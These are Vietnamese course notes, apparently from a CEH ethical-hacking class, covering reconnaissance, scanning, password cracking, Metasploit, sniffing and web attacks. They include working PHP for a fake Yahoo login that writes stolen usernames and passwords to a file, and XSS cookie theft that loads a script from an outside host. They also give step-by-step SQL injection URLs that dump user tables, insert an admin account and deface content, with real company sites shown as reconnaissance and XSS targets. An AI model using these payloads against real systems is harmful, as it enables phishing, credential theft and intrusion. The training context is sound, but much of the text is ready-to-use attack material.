20
30/3/2011 Footprinting Các bước tiến hành: + Danh sách các máy chủ ( server ) + Vị trí server + Email, domain, những thông tin các nhân Các dạng mạng tổ chức: + Mô hình lớn 2 firewall + Mô hình nhỏ 1 firewall + Decticate + VPS + Shared Host Bước đầu tấn công phải hướng tới domain: 1/ xem Whois domain DNS : www . zoneedit . com DNS root : www . iana . org Database Whois : hỏi xem tên miền đã dc đăng kí chưa, ai mua... Đôi khi họ sẽ che whois: “private whois” Riêng .com: wa 2 bước + xem domain +cần xem Whois Server 2 trang tra domain .com + www . who . is + www . domaintool . com 2/ Xem Record: list record Record A: www → cmd > nslookup, đổi DNS >> server [IP] Record Mail: set type=mx >> đánh tên trang web Record tên miền: set type=ns xem IP tên miền Set type=a xem Soa set type=soa Tra tên các record máy chủ khác: + Móc IP vào primary + Tải các record khác: ls -d [tenmien]

Ceh

Embed Size (px)

DESCRIPTION

Uploaded from Google Docs

Citation preview

Page 1: Ceh

30/3/2011

FootprintingCác bước tiến hành: + Danh sách các máy chủ ( server )+ Vị trí server+ Email, domain, những thông tin các nhân

Các dạng mạng tổ chức:+ Mô hình lớn 2 firewall+ Mô hình nhỏ 1 firewall+ Decticate+ VPS+ Shared Host

Bước đầu tấn công phải hướng tới domain:1/ xem Whois domainDNS : www . zoneedit . com DNS root : www . iana . org Database Whois : hỏi xem tên miền đã dc đăng kí chưa, ai mua...Đôi khi họ sẽ che whois: “private whois”

Riêng .com: wa 2 bước + xem domain +cần xem Whois Server

2 trang tra domain .com+ www . who . is + www . domaintool . com

2/ Xem Record: list recordRecord A: www → cmd > nslookup, đổi DNS >> server [IP] Record Mail: set type=mx >> đánh tên trang webRecord tên miền: set type=ns

xem IP tên miền Set type=a xem Soa set type=soaTra tên các record máy chủ khác:

+ Móc IP vào primary+ Tải các record khác: ls -d [tenmien]

Neu ko tau dc record quay lai cach mac dinh, tra tu tu cac server:---- Set type=a >>> set type=mx

vd: vinamilk . com . vn (A): ------------118.69.204.196 www. ---> ------------(mx): mail: 22.255.78.94 mail4: 123.30.89.50

---- tim cac IP moi cua cac server ( đoán ) vd: fpt, VPN, …......

Page 2: Ceh

Đoán dc có VPNVpn.vinamilk.com.vn -----> 222.255.74.154vpn 2. vinamilk . com . vn -----> 222.255.74.156

---- Sereach : google . com search dc Shop.vinamilk.com.vn

shop : 222.255.74.155 shop 2: 123.30.89.51

3/ Xem IP public :1/ Whois IP:

+ Dung www.iana.org đễ tra location IP của server+ Ai đăng kí: nếu là chính người dùng đăng kí thì server ở trên chính người dùng

2/ Tra những cty cùng sử dụng domain ( Reverse lookup )+ Search : www . bing . com ( IP: [ip] )+ Kiểm tra các trang web xem có còn dùng Ip đó không

( vinamilk dùng host thuê )+ Tracer : xác địng qua những đoạn mạng nào

cmd >>> Tracert [trang web]

4/ Các thông tin cần khai thácEmail: dùng web data extractror ( trong đĩa )Personal:

+ Mạng xã hộ+ Trang tìm việc+ Blog

Search: + Keyword: dùng - để loại bỏ các kết quả ko cần+ Site: [tên tragn web]+ Intitle:”______”+ inurl: “___”+ Filetype: + Cache: url+ archive.org: xem cache các trang web có từ rất lâu

ScanningI/ Protocol:IP, ICMP, TCP, UDP

1/ ICMP:+ Dùng để test. chỉ đóng gói IP, chỉ có 3 lớp, ko có tranport, ARP → đổi sang IP.+ ARP chỉ có 2 lớp ko gắn IP.+ Thuộc tầng Network+ Type và code: 80: ping, replay: 00+ Cmd >>> Ping: nếu show hơn 8 dòng, or mình dính virus, 2 là máy bị ping dính virus

Page 3: Ceh

2/IP:+ Protocol: IPv6: 86PD; IPv4: 0800+ Connectless:

+ Nhận:+ Ko nhận: trả lại IP ( type 3)

3/ TCP: + Port: 65536 port

+ Connection OrientedA >>>>> SYN >>>>> BA <<<<< SYN, ACK <<<<<<BA >>>>> ACK >>>>>> B

+ SEQ/ACK4/ UDP

+ Connectless+ Ko kiểm soát luồng data

Đọc tài liều thêm : RFCII/ Scanning: 1/ IP protocol:

Nmap: hỏi IP trướcNmap -sO <target>

2/ UDP:Port 16bit: 65536 portnmap -sU <target>nmap -sU <target> -p <port> ( quét port ) quét hết cái port

3/ TCP: ( chưa chắc bên kia mở port đó, dùng TCP )3.1/ TCP connect ( xem bắt tay )

nmap -sT <target>3.2/ SYN scan: ( nhanh hơn )

nmap -sS <target> -reason ***** run >>> mstsc ( remote destop )

3.3/ Null Scan: ( ko cho bên kia phát hiện ) - ko chính xácKo dùng dc trong windows, chỉ dùng cho hệ thống cũ

Open: no responseClose: resestnmap -sN <target> -p -reason

3.4/ FIN scan = Null Scan:3.5/ XMas Scan: ( dùng cờ FIN, PSH, URG ) = Null Scan3.6/ IDLE Scan ( dấu IP của mình )

A >>>>>>>>> BC

Page 4: Ceh

Dùng 1 máy trung gian ( Zombie , nên dùng windows ), ko bật fire wall nmap -sI <target mượn> <target cần quét> -PN

-PN ( ko cho ping trước, dù máy kia cấm ping nhưng vẫn quét được )

IV. Services:< 1024: Wellknown portTìm services chạy port đó:1/ Get banner: ( kết nối máy chủ )

telnet <IP> <Port>*** Đôi khi nhiều servies sẽ ko có banner2/ Sent request:xem bảng mã : C:\Program Files\Nmap >>>> mở nmap-service-probes

nmap -sV ( dùng kèm -sS )

V. OS ( hệ điều hành ) 1/ Nhìn dịch vụ:

2/ dùng Nmap: C:\Program Files\Nmap >>> nmap-os-dbnmap -O

*** nên check nhiều lần để ra 9 xác3/ Nếu bật firewall

ENUMERATION ( Liệt Kê ).Account.Share.Services

>>>>> Lấy thông tin từ tầng ApplicationModule 6: CA_Setup SolarWinds Network Tools

PS-ToolsModule 7: PSTools Copy psgetsid.exe >>> c:/I/ Nell Sassion ( share) >> SMB: 1. TCP: Port 445/139

- Quản lý bằng SID2. Nếu win <<2k or 2k3 ( DC) >>>: convert trực tiếp Nếu >= XP : chứng thực trức ( = tài khoản bất kì )Dùng hàm:

. LookupAccountName ()

. LookupAccountSID ()

Page 5: Ceh

* Cmd >>> cd C:\Dir C

chạy psgetsdid.exeXem SID user: C:\psgetsid.exe [ tên user ]

User tạo ra bởi người dùng có SID >>> 1000Admistrator có SID 500

**** CAIN: Network >>> Quick list- Connect as

+ Nếu ko phải DC >> phải dùng user, pass+ Nếu là DC : dùng user, pass rỗng

** Đễ tránh trường hợp này phải chỉnh policy+ Local >> Security >>>> Network ….. Access allow annoymous ….+ Local >> Security >>>> Network ….. Access allow SID/name

II. SNMP: ( quản lí thiết bị )1/ Được lập trình trên UDP : port 1612/ Commnunity String (public, private) lun có key, để bảo mật phải thây key

Solarwind : + Discovery >> IP Browser + MIB Browser >>> MIB View >>> ( google : mib windows 2003 >> ID

xem dịch vụ )

Xóa dấu vết + Nmap

+ WiresharkI/ Fake IP: 1. Proxy: ( chỉ nhận HTTP, FTP ) port :8580, 3128

aliveproxy . com >> http proxyPhần mềm : Ultrasoft

******long.nhatnghe.vn/CEH

II. Anomymizer: hidemyass . com

III. VPN: Dùng tất cả các dịch vụ+ anomitynework . com + hotspotshield . com

SYSTEMP HACKING Module 7:

+ LCS

Page 6: Ceh

+ Giai nén Pwdump7 >>c:\+ Opcrack ( bỏ download )

Module 6:+ CA_Setup

I. Password cracking: 1/ Offline cracking: . Hash (Băm)

H (p)= h ( h có 128bit = 10^39)- Các giải thuật Băm Windows: + LM ( đã khá cũ) + NTLMP=14 kí tự :

+ Số: 10^14 ( trường hợp ) =+ Chữ + số: 36^14 ( trường hợp ) =

. Xử lý Băm bằng Pre-Hash: Rainbow tablep1 >>> h1 >>>> h2 ( lưu tại h1 )p2 >>>h1 ( p2 sẽ dùng h1 )

. LM ( tối đa 14 kí tự )= 7 + 7 LC5: nếu cặp hash giống nhau là pass rỗng+ Pwdump7

lưu : pwdump7 >luu.txt+ tự băm CAIN: >> Winrtger ( chain Len: chieu dai chuoi, >>> N*table (4)

Charset ( Alpha - numberic )+ Dùng Opcrack

>>> Table >>> add table từ đĩa của CEH>>>> Load

*** file pass window/systemp32/config/ SAM ( chép hết lun file config )**** Trang bán Table ++++ Cách xây dựng 1 table để ko thể Hash

P1=h1 ( h1 + random = h2)Lưu pass h2

User Password phải lưu lại

Admin h2 (random)

Giá trị random gọi là SALT ( chỉ cần 3 kí tự )+++ Run>>> gpedit >>> windows setting >>> local … >>> security >>>> network security >>>> dont store Lan …. >>> Enabled

( ko cho lưu hash )

2. Online :

Page 7: Ceh

Modul 7 :Bruter

*** Cách chóng:Dùng policy lockout

++Bufferoverflow:Data = Shellcode + return ( ESP )

Nếu shellcode < biến : dùng mã lệnh 90 = NOP+ Server side ( services )+ Client side: document, file nhạc, video

++ những đuôi chương trình bị lỗi: anicmd >>> c:\ ani hinh

Exploit-db.commetasploit >> chuong trinh build ShellcodeModule 7: framework-3.2.exe

Metasploit+ Exploit+Uplate+ Auto Exploit

Cài Metasploit >>> chạy >>> hiện trình duyệt>> dùng shell trả ngược lại cho ta để open port >>>>> windows/shell/reverse_tcpConnect đến mấy target >>> Sessions -i 1

+ c:\ftp1 + open Ip target

+ prompt+ mget * ( tải hết tài liệu )

Cách làm nhanh, ít lỗingay từ 1 :

+ echo open ….>a.txt+ echo [ user] >>a.txt+echo [ pass]>>a.txt+echo prompt+ echo birary

Page 8: Ceh

+ echo mget *>>a.txt+echo quit>>a.txt

C:\test>ftp -s:a.txt

+++ Shell hay: DNS >>> window metermreter /bind/tcp

2. Update:+ Online:+Offline: Lên Google search: cooltype sing rbcopy adobe_cooltype_sing vào C:\Program Files\Metasploit\Framework3\msf3\modules\exploits\windows\browser

Mở = wordpad , search dòng cve-2010-2883, copy C:\Program Files\Metasploit\Framework3\msf3\data\exploits

Mở Metaspolit: search: cooltype

*****Phòng chống tràn bộ đệm:+ Client:

+ Bật FW, tắt services+ Cài ít ctrình

+ Services: + Tắt services ko dùng+ Ko cài Client App+ Lập danh sách services + App

3. Automatic:Test hệ thống có bị tràn bộ đệm ko:

Metaspolit constroledb_driver sqlite3 ( chọn CSDL)db_create test ( tạo 1 test )db_nmap [ip target]db_autopwn -t -p -e

III/ Hide: process/file:1/ NTFS stream:

mở CMD>> về C gốc >>>notepad file1.txt:file2.txt ( sẽ thấy file 1 nhưng ko thấy file 2 ) >>>>>>>>> ta đã dấu chỉ mụcTrên thanh menu C:\WINDOWS\system32\dllcache ( đánh thêm dllcache)>>>> xóa những file hệ thống, sau này ghi đè lên dllcache trc rùi đè lên những vị trí khácvd: xóa calc trong win lẫn trong cache

Page 9: Ceh

vào cmd c:\ type file1.txt:calc.exe ( lưu những calc vào file 1) c:\ start file1.txt:calc.exe ( chạy lại calc )

2/ Module 7: ImageHide ( chỉ dấu dc Bitmap )

SNIFFER1. Lấy tín hiệu:

a. Passive: - LAN: hub, Access Point- WAN: Router

b. Active: - LAN: Swich+ ARP posioning+ MAC fouding+Trojan

WinPcapModule 10 : Etherflood

2. Sniff:1. ko Mã hóa:

Xem cache: arp -aXóa cache: arp -d

Filter : icmp and ip.addr==192.168.12.15 <target máy>2. Mã hóa:

+ Đối xứng ( symmetic ): DES, 3DES, AES,....Ưu: NhanhKhuyết: phân phối key cho hệ thống

+ Bất đối xứng ( Asymmectic ): RSAƯu: phân phối dễ dàngKhuyết: chậm

+ Fake Certificate+ SSLStip

3. Back Track: LINUXGán:

ifconfig eth0 <IP>route add default gw <IP gw>echo nameserver [IP] >>/etc/resolv.....

SESSION HACKINGI/ Tầng Network:

Page 10: Ceh

+ IP: Source/ Dest+ TCP: SN, AN, Port

Dùng hunt >> google searchdùng comman line : cd đến thư mục hunt >> gỏ huntXem máy đang connect đến mình: netstat -an|findstr :23 [port telnet 23 ] Hunt: d > a > s > asau khi đầuy độc thành công: back về manu chính : bấm x 2 lầnKhi ở menu chính : bấm l để xem các gói đã bắt dca > chọn phiên thấy được khi L

II/ Application:HTTP: Stateless: TCP

Website: nhúng session1. Cookie:2. Form: hidden3. URL:

trên FF cài Cookie Manage 1.5.1Wishark : chỉ filter yahoo : dùng http.host contains yahoo.com

PHISHING* HTTP và web application

- Thẻ ( tag ): <html> <input> < > , <img>....- client script <javasript, vbscript>: <script>

alert (123 ); </script>

- server script ( Php, asp, asp . net ): < ? php$bin1=$_Get[‘id’]

echo “Da nhan : $bin1”;<? php

Làm 1 trang fake login B1 : lưu trang gốc về máy ( đặt tên index ) B2 : Mở trang index sửa trường action

action = http :// attacker . com ( hoặc xuli.php ) Xem thẻ input dùng tên gì

B3 : tạo file xuli.php >>> dùng hàm %_post [‘ten’]- Lấy dữ kiện.

Page 11: Ceh

- Chuyển dữ kiện về trang gốc- khi gữi face thêm @[ip máy attacker]vd : www . yahoo . com @ google . com ( như vậy sẽ về trang goole chứ ko phải là yahoo )

Code xuli.php: <?php$ten=$_POST["login"];$mk=$_POST["passwd"];$f=fopen("luu.txt","a");fwrite ($f,"ten:$ten - mk:$mk");fclose($f);?><html> <form method="post" action="https://login.yahoo.com/config/login?" autocomplete="" name="f1" onsubmit="return hash2(this)">

<input name=".tries" value="1" type="hidden"> <input name=".src" value="ym" type="hidden"> <input name=".md5" value="" type="hidden"> <input name=".hash" value="" type="hidden"> <input name=".js" value="" type="hidden"> <input name=".last" value="" type="hidden"> <input name="promo" value="" type="hidden"> <input name=".intl" value="us" type="hidden"> <input name=".bypass" value="" type="hidden"> <input name=".partner" value="" type="hidden"> <input name=".u" value="3baigqd6tv2lj" type="hidden"> <input name=".v" value="0" type="hidden"> <input name=".challenge" value="O8jPBBwWFlwDxdfMyII0_NpgCvki" type="hidden"> <input name=".yplus" value="" type="hidden"> <input name=".emailCode" value="" type="hidden"> <input name="pkg" value="" type="hidden"> <input name="stepid" value="" type="hidden"> <input name=".ev" value="" type="hidden">

Page 12: Ceh

<input name="hasMsgr" value="0" type="hidden"> <input name=".chkP" value="Y" type="hidden"> <input name=".done" value="http://mail.yahoo.com" type="hidden"> <input name=".pd" value="ym_ver=0&amp;c=&amp;ivt=&amp;sg=" type="hidden"> <input name="pad" id="pad" value="3" type="hidden"> <input name="aad" id="aad" value="6" type="hidden"> <div id="inputs">

<label for="username">Yahoo! ID</label> <input name="login" value="<?php echo $ten ?>" id="username" maxlength="96" tabindex="1">

<label for="passwd">Password</label> <input name="passwd" value="<?php echo $mk ?>" id="passwd" maxlength="64" tabindex="2" type="password">

<button type="submit" id=".save" name=".save" class="secondaryCta" tabindex="5"> Sign In </button>

</form><script>document.all.f1.submit();</script></html>

Page 13: Ceh

WEB APPLICATIONI/ Mô hình N-tier:

Clien >>>> Firewall >>>> Web server >>>> Script >>>> Database

II/ Khai báo WebApp:1. XSS: Cross site scripting

VD: http :// www . vieclambank . com *************

b/ Đánh cắp cookieB1: tạo trang xuli.php

+ lấy dữ liệu: $_get [‘data’]+ LưuCách nhận biết trang web bị XSS

+ dùng <script>alert(123)</script> ….chạy là dính lỗi*************Cách chống:+ Gặp thẻ input >>> xóa chuỗi ( str_replace , len goole search code )+ Dùng hàm convert htmlentities>>> cách pass: bỏ script vào thẻ img ( <img src=javacript:fjhdsjfgj )

a/ Phising- Bỏ phần thừa dùng : <!--- Bỏ hết trang, show từ cần show:

<script>document.body.innerHTML=”hello”

</script>Vào http :// long . nhatnghe . vn / xss / xss 2. js để xem đoạn scriptPaste script vào thẻ http :// www . vieclambank . com / search . php ? s =%22%3 E %3 Cscript %20 src = http :// long . nhatnghe . vn / xss / xss 2. js %3 E %3 C / script %3 E

Page 14: Ceh

B2: Tngvang.com.vn/xuli.php?data='%2Bdocument.cookie</script>

c/ Data tampening ( Invalid Input )Module 17 : burpsuite_v1.2

Vào FF >> tool >>> Advanced >> dùng proxy 127.0.0.1Vào burpsuite_v1.2 >>> tab proxy >>> chọn intercept on khi muốn giữ dataVD: YUME, post bài , đưa scipt vào bài viết = ctrinh burpsuite_v1.2

** ha . ckers . org / xss . html

d/ Reference: zing . me ạo link: - location.href - document.cookie ( dùng %2B để nối chuỗi )

vd: http://www.vieclambank.com/search.php?s="><script>location.href='http://inro

e/ SQL injection:

+ C1: dung Unionunion select table_name from information_schema.tables

B1: tim so cotUnion select 1,2,3,4,5 …-- SQL= “select * from table where column=’ ”.$id.” ’ ”;

Code: http://192.168.11.100/news.asp?nid=-NC07' union select 1,2,3,4,5,6,7--

B2: tim ten cothttp://192.168.11.100/news.asp?nid=-NC07' union select

1,2,3,table_name,5,6,7 from information_schema.columns-- Neu MySQL dung ham Limit Neu SQL dung ham Where table_name not in (‘ ten table dau tien’)--

Show dan dan het cac cot :http://192.168.11.100/news.asp?nid=-NC07' union select 1,2,3,table_name,5,6,7

from information_schema.columns where table_name not in('dtproperties')--

Page 15: Ceh

Cac cot tim dc : 'dtproperties','sysconstraints','syssegments','tbl_CorporateTraining','tbl_Course','tbl_CourseDetail','tbl_CourseType','tbl_FAQ','tbl_NewsCircle','tbl_Schedule','tbl_article','tbl_users'

B3: Liet ke danh sach column ( tbl_users )

http://192.168.11.100/news.asp?nid=-NC07' union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='tbl_users'--

http://192.168.11.100/news.asp?nid=-NC07' union select 1,2,3,column_name,5,6,7 from information_schema.columns where table_name='tbl_users' and column_name not in ('Passlen','Password','STT','UserID','UserName')--

B4: Liet ket http://192.168.11.100/news.asp?nid=-NC07' union select

1,2,3,UserName,Password,6,7 from tbl_Users

Neu ko tim ra pass Admin thi dung ham Inserthttp://192.168.11.100/news.asp?nid=NC07'; insert into tbl_users

(STT,UserID,UserName,Password,Passlen) values (117,'U17','tvan','202cb962ac59075b964b07152d234b70',3)--

C2: Convert ( chi dung tren MSSQL )

dung 1=1 and dk dung : web ko thay doihttp://192.168.11.100/news.asp?nid=NC07' and 1=1--dung 1=a and dk sai: web thay doihttp://192.168.11.100/news.asp?nid=NC07' and 1=a--http://192.168.11.100/news.asp?nid=NC07' and 1=@@version--

Page 16: Ceh

http://192.168.11.100/news.asp?nid=NC07' and 1=(select top 1 table_name from information_schema.columns)--

http://192.168.11.100/news.asp?nid=NC07' and 1=(select top 1 table_name from information_schema.columns where table_name not in ('tbl_CourseType','tbl_Course','tbl_CourseDetail','tbl_FAQ','tbl_NewsCircle','sysconstraints','dtproperties','syssegments','tbl_CorporateTraining','tbl_Schedule','tbl_article','tbl_users'))--

Thay doi News:2.168.11.100/news.asp?nid=-NC07' union select 1,2,3,column_name,5,6,7 from

information_schema.columns where table_name= 'tbl_NewsCircle'and column_name not in ('Content','DateInput','English','ImagePath','NewsCircleID','STT','Title')--

http://192.168.11.100/news.asp?nid=NC07'; update tbl_NewsCircle set Title='HackbyThevan'--

C3: